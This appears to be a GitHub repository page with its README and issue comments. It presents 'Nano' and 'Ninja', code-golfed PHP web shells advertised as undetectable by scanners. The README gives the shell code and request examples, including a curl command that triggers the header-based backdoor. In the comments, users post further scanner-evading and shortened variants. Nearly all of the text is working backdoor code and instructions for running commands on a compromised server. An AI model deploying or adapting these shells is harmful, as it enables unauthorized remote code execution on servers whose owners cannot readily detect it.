s0md3v / nano

Nano is a family of PHP web shells which are code golfed for stealth.

nano

Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.
Put it on watch maybe, I will continue to upload more webshells in here.

Nano

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Features

• 35 bytes in size
• Can't be detected by static code scanners
• Supports authentication

Usage

http://example.com/nano.php?f=function&c=command&p=password

f is for function
c is for command
p is for password

For example, the code below will execute the ls command:

http://example.com/nano.php?f=system&c=ls&p=password

Ninja

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Features

• 93 bytes in size
• Fully Undetectable

Usage

This one a bit complex.
Lets say you want to run system(ls) so write it as system~ls and then base64 encode it i.e. c3lzdGVtKGxzKQ==
Now add any 1 character at the start of it. Let say 'x' so it will be xc3lzdGVtKGxzKQ==
Now open your terminal and type the following command
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Too much work? You can use the handler instead.

Everything Else

This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.
The nano project is licensed under MIT license which basically means you have to give me credit if you want to redistribute or modify it.

nano's Issues

Awesome stuff man, I'm looking forward to what's next

👍 👍 👍

I've a bit of experience with PHP, but I'm by no means the most experienced PHP hacker. That being said, I'm impressed so far with nano and I'm excited for what's to come. Btw, awesome use of 39 chars 👍 I am quite the fan of PHP's flexibility.

I'm watching the repo eagerly man. Best of luck!

nano / ninja easily detectable

hey bro, your backdoor is easily detectable. checkout php malware scanner. Also this will dump out a lot of php warnings on any current version of PHP.

Here is an alternate version that supports GET and POST and will bypass any current scanner by using unicode variable names, underscores and arrays.

The password comes by changing the variable names zc and xz

the code will execute the php command passed in the zc variable with the argument xz and will accept them from $_GET or $_POST

example: www.example.com/nano2.php?zc=system&zx=ls+-l

<?php $_qΔ[0]=array_merge(['zc'=>'','xz'=>'pi'],$_REQUEST);echo $_qΔ[0]['xz']($_qΔ[0]['zc']);

this could be shortened, but i think the previous version would make a more complex regex to detect:
<?php $Δ=array_merge(['z'=>0,'x'=>'pi'],$_REQUEST);echo $Δ['x']($Δ['z']);

Already tested

Small volume。

Thank you！！！

Can be shortened to 37 bytes

Still authenticated, basically changing condition?action1:nothing, into : condition&&action1

<?$x=$_GET;$x[p]=='_'&&$x[f]($x[c]);

reduce 1 character

<?$x=$_GET;@$x[p]==_&&$x[f]($x[c]);